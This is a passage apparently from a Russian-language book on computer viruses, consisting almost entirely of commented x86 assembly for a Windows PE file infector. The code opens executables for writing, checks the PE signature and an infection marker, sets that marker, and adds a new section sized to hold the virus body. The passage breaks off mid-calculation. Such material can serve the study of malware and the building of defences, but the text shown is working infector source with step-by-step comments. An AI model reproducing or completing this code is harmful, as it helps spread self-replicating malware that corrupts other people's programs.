Скачать книгу

файл для чтения и записи

      gofile:

      push 0

      push dword ptr [ebp+offset fileattr] ;FILE_ATTRIBUTE_NORMAL

      push 3 ;OPEN_EXISTING

      push 0

      push 0

      push 80000000h+40000000h ;GENERIC_READ+GENERIC_WRITE

      lea eax,[ebp+offset fullname]

      push eax

      call CreateFile

      ;Сохраним описатель файла

      mov dword ptr [ebp+offset ahand],eax

      ;Проверим, не произошла ли ошибка.

      ;Если ошибка произошла, ищем следующий файл

      cmp eax,–1

      jz findnextone

      ;Поставим указатель позиции чтения/записи на поле

      ;со смещением PE−заголовка

      push 0

      push 0

      push 3Ch

      push dword ptr [ebp+offset ahand]

      call SetFilePointer

      ;Считаем адрес PE−заголовка

      push 0

      lea eax,[ebp+offset bytesread]

      push eax

      push 4

      lea eax,[ebp+offset peheaderoffset]

      push eax

      push dword ptr [ebp+offset ahand]

      call ReadFile

      ;Поставим указатель позиции чтения/записи на начало PE−заголовка

      push 0

      push 0

      push dword ptr [ebp+offset peheaderoffset]

      push dword ptr [ebp+offset ahand]

      call SetFilePointer

      ;Считаем число байт, достаточное для вычисления полного размера

      ;PE−заголовка и таблицы объектов

      push 0

      lea eax,[ebp+offset bytesread]

      push eax

      push 58h

      lea eax,[ebp+offset peheader]

      push eax

      push dword ptr [ebp+offset ahand]

      call ReadFile

      ;Проверим сигнатуру. Если ее нет, закрываем

      ;этот файл и ищем следующий

      cmp dword ptr [ebp+offset peheader],00004550h;

      jnz notape

      ;Проверим файл на зараженность. Если файл заражен,

      ;то закрываем этот файл и ищем следующий

      cmp word ptr [ebp+offset peheader+4ch],0F00Dh

      jz notape

      cmp dword ptr [ebp+offset 52],4000000h

      jz notape

      ;Поставим указатель позиции чтения/записи на начало PE−заголовка

      push 0

      push 0

      push dword ptr [ebp+offset peheaderoffset]

      push dword ptr [ebp+offset ahand]

      call SetFilePointer

      ;Считаем весь PE−заголовок и таблицу объектов

      push 0

      lea eax,[ebp+offset bytesread]

      push eax

      push dword ptr [ebp+offset headersize]

      lea eax,[ebp+offset peheader]

      push eax

      push dword ptr [ebp+offset ahand]

      call ReadFile

      ;Установим признак заражения

      mov word ptr [ebp+offset peheader+4ch],0F00Dh

      ;Найдем смещение таблицы объектов

      xor eax,eax

      mov ax, word ptr [ebp+offset NtHeaderSize]

      add eax,18h

      mov dword ptr [ebp+offset ObjectTableoffset],eax

      ;Вычислим смещение последнего (null) объекта в таблице объектов

      mov esi,dword ptr [ebp+offset ObjectTableoffset]

      lea eax,[ebp+offset peheader]

      add esi,eax

      xor eax,eax

      mov ax,[ebp+offset numObj]

      mov ecx,40

      xor edx,edx

      mul ecx

      add esi,eax

      ;Увеличим число объектов на 1

      inc word ptr [ebp+offset numObj]

      lea edi,[ebp+offset newobject]

      xchg edi,esi

      ;Вычислим относительный виртуальный адрес (Relative Virtual Address

      ;или RVA) нового объекта

      mov eax,[edi−5*8+8]

      add eax,[edi−5*8+12]

      mov ecx,dword ptr [ebp+offset objalign]

      xor edx,edx

      div ecx

      inc eax

      mul ecx

      mov dword ptr [ebp+offset RVA],eax

      ;Вычислим физический размер нового объекта

      mov ecx,dword ptr [ebp+offset filealign]

      mov eax,vend−vstart

      xor edx,edx

      div ecx

      inc eax

      mul ecx

      mov dword ptr [ebp+offset physicalsize],eax

      ;Вычислим виртуальный размер нового объекта

      mov ecx,dword ptr [ebp+offset objalign]

      mov eax,vend–vstart+1000h

      xor edx,edx

      div ecx

      inc eax

      mul ecx

      mov dword ptr [ebp+offset virtualsize],eax

      ;Вычислим

Скачать книгу